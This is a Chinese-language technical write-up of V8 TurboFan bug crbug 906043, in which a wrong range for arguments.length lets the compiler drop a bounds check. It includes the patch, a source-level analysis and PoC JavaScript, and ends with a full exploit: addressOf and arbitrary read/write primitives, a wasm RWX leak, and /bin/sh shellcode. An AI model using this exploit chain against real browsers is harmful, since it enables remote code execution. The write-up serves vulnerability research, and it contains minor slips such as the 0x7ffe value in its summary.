环境搭建
sudo apt install python
git reset --hard b474b3102bd4a95eafcdb68e0e44656046132bc9
export DEPOT_TOOLS_UPDATE=0
gclient sync -D
// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release
漏洞分析
patch 如下:
diff --git a/src/compiler/type-cache.h b/src/compiler/type-cache.h
index 251ea08..9be7261 100644
--- a/src/compiler/type-cache.h
+++ b/src/compiler/type-cache.h
@@ -166,8 +166,7 @@
Type::Union(Type::SignedSmall(), Type::NaN(), zone());
// The valid number of arguments for JavaScript functions.
- Type const kArgumentsLengthType =
- Type::Range(0.0, Code::kMaxArguments, zone());
+ Type const kArgumentsLengthType = Type::Unsigned30();
// The JSArrayIterator::kind property always contains an integer in the
// range [0, 2], representing the possible IterationKinds.
diff --git a/src/compiler/verifier.cc b/src/compiler/verifier.cc
index 0a9342e..9ea93da 100644
--- a/src/compiler/verifier.cc
+++ b/src/compiler/verifier.cc
@@ -1258,8 +1258,7 @@
break;
case IrOpcode::kNewArgumentsElements:
CheckValueInputIs(node, 0, Type::ExternalPointer());
- CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments,
- Code::kMaxArguments, zone));
+ CheckValueInputIs(node, 1, Type::Unsigned30());
CheckTypeIs(node, Type::OtherInternal());
break;
case IrOpcode::kNewConsString:
diff --git a/test/mjsunit/regress/regress-crbug-906043.js b/test/mjsunit/regress/regress-crbug-906043.js
new file mode 100644
index 0000000..dbc283f
--- /dev/null
+++ b/test/mjsunit/regress/regress-crbug-906043.js
先来看下 type-cache.h
中对 kArgumentsLengthType
的设置:
static const int kArgumentsBits = 16;
// Reserve one argument count value as the "don't adapt arguments" sentinel.
static const int kMaxArguments = (1 << kArgumentsBits) - 2; // 0xfffe
// The valid number of arguments for JavaScript functions.
Type const kArgumentsLengthType =
Type::Range(0.0, Code::kMaxArguments, zone());
第二处补丁是打在了 void Verifier::Visitor::Check(Node* node, const AllNodes& all)
函数中:
void Verifier::Visitor::Check(Node* node, const AllNodes& all) {
......
switch (node->opcode()) {
......
case IrOpcode::kNewArgumentsElements:
CheckValueInputIs(node, 0, Type::ExternalPointer());
CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments,
Code::kMaxArguments, zone));
CheckTypeIs(node, Type::OtherInternal());
break;
......
笔者初分析
这里笔者本打算跟踪 Verifier::Visitor::Check
寻找调用链,但是并没有发现引用该函数的逻辑,直接在 gdb
中下断点也断不下来,所以笔者决定跟踪 kArgumentsLengthType
变量,最终发现如下地方进行了引用:
可以发现在 TyperPhase
阶段会调用该值:
Type Typer::Visitor::TypeArgumentsLength(Node* node) {
return TypeCache::Get().kArgumentsLengthType;
}
class Typer::Visitor : public Reducer {
......
Reduction Reduce(Node* node) override {
case IrOpcode::kArgumentsLength: \
return UpdateType(node, TypeArgumentsLength(node));
......
所以这里会更新 ArgumentsLength
节点的类型。但是这里跟漏洞有啥关系呢?而且笔者自己写的 demo
也没观察到有 ArgumentsLength
这个节点。
笔者因此陷入僵局,因为目前网上还没有文章对该漏洞的原理进行分析。无奈,最后笔者只有对着作者给的 POC
进行分析。
笔者再分析
这里我们来分析下作者给的 POC
:
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}
var a1, a2;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
console.log("a2.length =", a2.length.toString(16));
// 输出:
// a2.length = 2a
可以看到这里成功将 a2.length
修改为了 0x2a
,结合 POC
可知这里 a1
发生了数组越界。可以看到 POC
比较关键的点就是,这里的索引为 (x >> 16) * ?
,而 x = arguments.length
。
接下来我们简化 POC
,抓住主要执行逻辑:
function fun(arg) {
let x = arguments.length;
let y = (x >> 16) * 21;
return y;
}
var a3 = [1.1, 2.2];
a3.length = 0x11000;
var a4 = [1.1];
for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
看下 load elimination
阶段:
可以看到这里的 ArgumentsLength
节点的范围为 Range(0, 65534)
,而 65534 = 0xfffe
,这个数字是不是很熟悉:
不就是第一处
patch
点吗?没有patch
之前,kMaxArguments
就是0xfffe
static const int kArgumentsBits = 16;
// Reserve one argument count value as the "don't adapt arguments" sentinel.
static const int kMaxArguments = (1 << kArgumentsBits) - 2; // 0xfffe
// The valid number of arguments for JavaScript functions.
Type const kArgumentsLengthType =
Type::Range(0.0, Code::kMaxArguments, zone());
看到这里你也许就明白了,这里默认 arguments.length
的最大值为 kMaxArguments = 0xfffe
,但是观察 POC
可知我们传入的参数使得 arguments.length = 0x11000
,其中 0xfffe >> 16 = 0
,而 0x11000 >> 16 = 1
,哇,漏洞是不是很明显?所以这会导致在 simplified lowering
阶段消除 CheckBound
节点:
这里大概知道了漏洞触发的原因,但是我们还是要回到源码中分析。
漏洞触发源码分析
这里以如下 POC
跟踪分析源码:
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
oob_arr = new Array(0x10);
oob_arr[0] = 1.1;
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
}
var a1, oob_arr;
var a3 = new Array();
a3.length = 0x11000;
for(let i = 0; i < 0x10000; i++)
{
fun(1);
}
fun(...a3);
typer
阶段:
这里我们看下 typer
阶段是如何对 SpeculativeNumberShiftRight
进行处理的:
......
case IrOpcode::kSpeculativeNumberShiftRight:
return UpdateType(node, TypeBinaryOp(node, SpeculativeNumberShiftRight));
......
这里最后会调用到 NumberShiftRight
函数:
这里需要调试,直接引用跟踪是跟不出来的,读者可以自行调试,把断点打在
SpeculativeNumberShiftRight
即可
Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));
lhs = NumberToInt32(lhs);
rhs = NumberToUint32(rhs);
if (lhs.IsNone() || rhs.IsNone()) return Type::None();
int32_t min_lhs = lhs.Min();
int32_t max_lhs = lhs.Max();
uint32_t min_rhs = rhs.Min();
uint32_t max_rhs = rhs.Max();
if (max_rhs > 31) {
// rhs can be larger than the bitmask
max_rhs = 31;
min_rhs = 0;
}
double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);
double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);
if (max == kMaxInt && min == kMinInt) return Type::Signed32();
return Type::Range(min, max, zone());
}
由于在 typer
阶段还没有进行 Load
节点的消除,所以 SpeculativeNumberShiftRight
节点的第一个参数是一个 Load
节点,其范围为 [INT_MIN, INT_MAX]
,所以最后右移后,SpeculativeNumberShiftRight
的范围为 Range(-32768, 32767)
与 IR
图是吻合的
typed lowering
阶段:
该阶段中会对 JS
函数节点进行处理,其中 create_lowering reducer
就会对 typer
阶段的 JSCreateArguments
进行处理:
Reduction JSCreateLowering::Reduce(Node* node) {
DisallowHeapAccess disallow_heap_access;
switch (node->opcode()) {
case IrOpcode::kJSCreate:
return ReduceJSCreate(node);
case IrOpcode::kJSCreateArguments:
return ReduceJSCreateArguments(node);
......
跟进 ReduceJSCreateArguments
函数:
代码有点长,可以扔给
GPT
审计审计,但效果不是很好
Reduction JSCreateLowering::ReduceJSCreateArguments(Node* node) {
DCHECK_EQ(IrOpcode::kJSCreateArguments, node->opcode());
CreateArgumentsType type = CreateArgumentsTypeOf(node->op());
Node* const frame_state = NodeProperties::GetFrameStateInput(node);
Node* const outer_state = frame_state->InputAt(kFrameStateOuterStateInput);
Node* const control = graph()->start();
FrameStateInfo state_info = FrameStateInfoOf(frame_state->op());
SharedFunctionInfoRef shared(broker(),
state_info.shared_info().ToHandleChecked());
// Use the ArgumentsAccessStub for materializing both mapped and unmapped
// arguments object, but only for non-inlined (i.e. outermost) frames.
if (outer_state->opcode() != IrOpcode::kFrameState) {
switch (type) {
case CreateArgumentsType::kMappedArguments: {
// TODO(mstarzinger): Duplicate parameters are not handled yet.
if (shared.has_duplicate_parameters()) return NoChange();
Node* const callee = NodeProperties::GetValueInput(node, 0);
Node* const context = NodeProperties::GetContextInput(node);
Node* effect = NodeProperties::GetEffectInput(node);
Node* const arguments_frame =
graph()->NewNode(simplified()->ArgumentsFrame());
Node* const arguments_length = graph()->NewNode(
simplified()->ArgumentsLength(
shared.internal_formal_parameter_count(), false),
arguments_frame);
// Allocate the elements backing store.
bool has_aliased_arguments = false;
Node* const elements = effect = AllocateAliasedArguments(
effect, control, context, arguments_frame, arguments_length, shared,
&has_aliased_arguments);
// Load the arguments object map.
Node* const arguments_map = jsgraph()->Constant(
has_aliased_arguments
? native_context().fast_aliased_arguments_map()
: native_context().sloppy_arguments_map());
// Actually allocate and initialize the arguments object.
AllocationBuilder a(jsgraph(), effect, control);
Node* properties = jsgraph()->EmptyFixedArrayConstant();
STATIC_ASSERT(JSSloppyArgumentsObject::kSize == 5 * kPointerSize);
a.Allocate(JSSloppyArgumentsObject::kSize);
a.Store(AccessBuilder::ForMap(), arguments_map);
a.Store(AccessBuilder::ForJSObjectPropertiesOrHash(), properties);
a.Store(AccessBuilder::ForJSObjectElements(), elements);
a.Store(AccessBuilder::ForArgumentsLength(), arguments_length);
a.Store(AccessBuilder::ForArgumentsCallee(), callee);
RelaxControls(node);
a.FinishAndChange(node);
return Changed(node);
}
case CreateArgumentsType::kUnmappedArguments: {
......
}
case CreateArgumentsType::kRestParameter: {
......
}
}
UNREACHABLE();
} else if (outer_state->opcode() == IrOpcode::kFrameState) {
......
if (type == CreateArgumentsType::kMappedArguments) {
Node* const callee = NodeProperties::GetValueInput(node, 0);
Node* const context = NodeProperties::GetContextInput(node);
Node* effect = NodeProperties::GetEffectInput(node);
// TODO(mstarzinger): Duplicate parameters are not handled yet.
if (shared.has_duplicate_parameters()) return NoChange();
// Choose the correct frame state and frame state info depending on
// whether there conceptually is an arguments adaptor frame in the call
// chain.
Node* const args_state = GetArgumentsFrameState(frame_state);
if (args_state->InputAt(kFrameStateParametersInput)->opcode() ==
IrOpcode::kDeadValue) {
// This protects against an incompletely propagated DeadValue node.
// If the FrameState has a DeadValue input, then this node will be
// pruned anyway.
return NoChange();
}
FrameStateInfo args_state_info = FrameStateInfoOf(args_state->op());
// Prepare element backing store to be used by arguments object.
bool has_aliased_arguments = false;
Node* const elements = AllocateAliasedArguments(
effect, control, args_state, context, shared, &has_aliased_arguments);
effect = elements->op()->EffectOutputCount() > 0 ? elements : effect;
// Load the arguments object map.
Node* const arguments_map = jsgraph()->Constant(
has_aliased_arguments ? native_context().fast_aliased_arguments_map()
: native_context().sloppy_arguments_map());
// Actually allocate and initialize the arguments object.
AllocationBuilder a(jsgraph(), effect, control);
Node* properties = jsgraph()->EmptyFixedArrayConstant();
int length = args_state_info.parameter_count() - 1; // Minus receiver.
STATIC_ASSERT(JSSloppyArgumentsObject::kSize == 5 * kPointerSize);
a.Allocate(JSSloppyArgumentsObject::kSize);
a.Store(AccessBuilder::ForMap(), arguments_map);
a.Store(AccessBuilder::ForJSObjectPropertiesOrHash(), properties);
a.Store(AccessBuilder::ForJSObjectElements(), elements);
a.Store(AccessBuilder::ForArgumentsLength(), jsgraph()->Constant(length));
a.Store(AccessBuilder::ForArgumentsCallee(), callee);
RelaxControls(node);
a.FinishAndChange(node);
return Changed(node);
}
......
}
return NoChange();
}
其实也不需要看到,知道这里计算了 ArgumentsLength
的范围即可。其实就是获取的 kMaxArguments = 0xfffe
。
而因为 argument.length
的偏移是固定的,所以在 load elimination
的 load_elimination reducer
会去除 Load
节点:
然后在 load elimination
阶段的 type_narrowing_reducer
会在进行一次 typing
,然后会再调用一次上面 typer
阶段执行过的 OperationTyper::NumberShiftRight
函数
其实这里的 IR 图跟我想到不一样,因为我觉得这里 turbofan 应当计算出 idx 就是 Range(0, 0),然后直接优化为 arr[0]。
Reduction TypeNarrowingReducer::Reduce(Node* node) {
DisallowHeapAccess no_heap_access;
Type new_type = Type::Any();
switch (node->opcode()) {
case IrOpcode::kNumberLessThan: {
......
}
case IrOpcode::kTypeGuard: {
......
}
#define DECLARE_CASE(Name) \
case IrOpcode::k##Name: { \
new_type = op_typer_.Name(NodeProperties::GetType(node->InputAt(0)), \
NodeProperties::GetType(node->InputAt(1))); \
break; \
}
SIMPLIFIED_NUMBER_BINOP_LIST(DECLARE_CASE)
DECLARE_CASE(SameValue)
#undef DECLARE_CASE
......
这里展开宏可以得到:
case IrOpcode::kNumberShiftRight
new_type = OperationTyper.NumberShiftRight(NodeProperties::GetType(node->InputAt(0)),
NodeProperties::GetType(node->InputAt(1)));
break
所以最后还是调用到 OperationTyper::NumberShiftRight
函数:
Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));
lhs = NumberToInt32(lhs); // range(0, 65534)
rhs = NumberToUint32(rhs); // range(16, 16)
if (lhs.IsNone() || rhs.IsNone()) return Type::None();
int32_t min_lhs = lhs.Min(); // 0
int32_t max_lhs = lhs.Max(); // 65534
uint32_t min_rhs = rhs.Min(); // 16
uint32_t max_rhs = rhs.Max(); // 16
if (max_rhs > 31) {
// rhs can be larger than the bitmask
max_rhs = 31;
min_rhs = 0;
}
double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs); // 0
double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs); // 0
if (max == kMaxInt && min == kMinInt) return Type::Signed32();
return Type::Range(min, max, zone()); // Range(0, 0)
可以看到这里返回的是 Range(0, 0)
[看我写的注释],但是最后并没有用该值直接更新节点,而是和原类型进行的合并:
......
Type original_type = NodeProperties::GetType(node);
Type restricted = Type::Intersect(new_type, original_type, zone());
if (!original_type.Is(restricted)) {
NodeProperties::SetType(node, restricted);
return Changed(node);
}
return NoChange();
以上就是漏洞源码分析全过程了。
漏洞利用
越界修改了 oob_arr
的 length
后,其利用就比较简单了。
- 利用越界读构造
addressOf
原语 - 利用越界写修改
ArrayBuffer
的backing_store
字段构造任意地址读写原语 - 先利用
addressOf
原语泄漏wasm_instance
地址,然后在利用任意地址读原语泄漏rwx_addr
- 利用任意地址写原语向
rwx_addr
上写入shellcode
exp
如下:
/*
let debug = (obj) => {
%DebugPrint(obj);
readline();
}
*/
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);
let l2d = (val) => {
l_buf[0] = val;
return d_buf[0];
}
let d2l = (val) => {
d_buf[0] = val;
return l_buf[0];
}
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
oob_arr = new Array(0x10);
oob_arr[0] = 1.1;
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
}
var a1, oob_arr;
var a3 = new Array();
a3.length = 0x11000;
for(let i = 0; i < 0x10000; i++)
{
fun(1);
}
fun(...a3);
console.log("[+] oob_arr.length: "+ oob_arr.length);
var tmp_arr = [0xdeadef, a1];
var buf_arr = [];
const BUF_NUM = 0x30;
for (let i = 0; i < BUF_NUM; i++) {
buf_arr.push(new ArrayBuffer(0x2024));
}
var backing_store_ptr_off = -1;
for (let i = 0; i < oob_arr.length-1; i++) {
let val = d2l(oob_arr[i]);
if (val == 0x2024n) {
oob_arr[i] = l2d(0x2025n);
backing_store_ptr_off = i+1;
break;
}
}
if (backing_store_ptr_off == -1) {
throw "FAILED to hit ArrayBuffer";
}
var victim_idx = -1;
for (let i = 0; i < BUF_NUM; i++) {
if (buf_arr[i].byteLength = 0x2025) {
victim_idx = i;
break;
}
}
var addressOf_idx = -1;
for (let i = 0; i < oob_arr.length-1; i++) {
let val = d2l(oob_arr[i]);
if (val == 0x00deadef00000000n) {
addressOf_idx = i+1;
break;
}
}
var dv = new DataView(buf_arr[victim_idx]);
console.log("backing_store_ptr_off", backing_store_ptr_off);
console.log("victim_idx", victim_idx);
console.log("addressOf_idx", addressOf_idx);
function addressOf(obj) {
tmp_arr[1] = obj;
return d2l(oob_arr[addressOf_idx]);
}
function arb_read(addr) {
oob_arr[backing_store_ptr_off] =l2d(addr);
return d2l(dv.getFloat64(0, true));
}
function arb_write(addr, val) {
oob_arr[backing_store_ptr_off] =l2d(addr);
dv.setFloat64(0, l2d(val), true);
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
console.log("wasm_instance address:", "0x"+addressOf(wasm_instance).toString(16));
var rwx_addr = arb_read(addressOf(wasm_instance)-1n+0xe8n);
console.log("rwx_address:", "0x"+rwx_addr.toString(16));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
for (let i = 0; i < shellcode.length; i++) {
arb_write(rwx_addr, shellcode[i]);
rwx_addr += 8n;
}
pwn();
//%DebugPrint(wasm_instance);
//debug(oob_arr);
效果如下:
总结
该漏洞其实很简单,就是将 kArgumentsLengthType
的值错误地设置成了 0x7ffe
,而笔者测试发现 argument.length
最大可以是 0x1ebef
,所以在 turbofan
进行优化时,认为 argument.length
的范围在 [0, 0x7ffe]
之间,然后 >> 16
,则范围在 [0, 0]
之间从而导致 CheckBound
节点被优化,但是实际上我们传入的参数个数为 0x11000
,所以 >> 16
后值为 1
。即优化阶段认为 argument.length >> 16
的值为 0,而实际运行阶段 argument.length >> 16
的值为 1,然后通过一些运算可以放大这个错误从而导致越界读写。
但是笔者感觉 turbofan
中还是有一些优化玄学问题,后续有时间可能得调试一下源码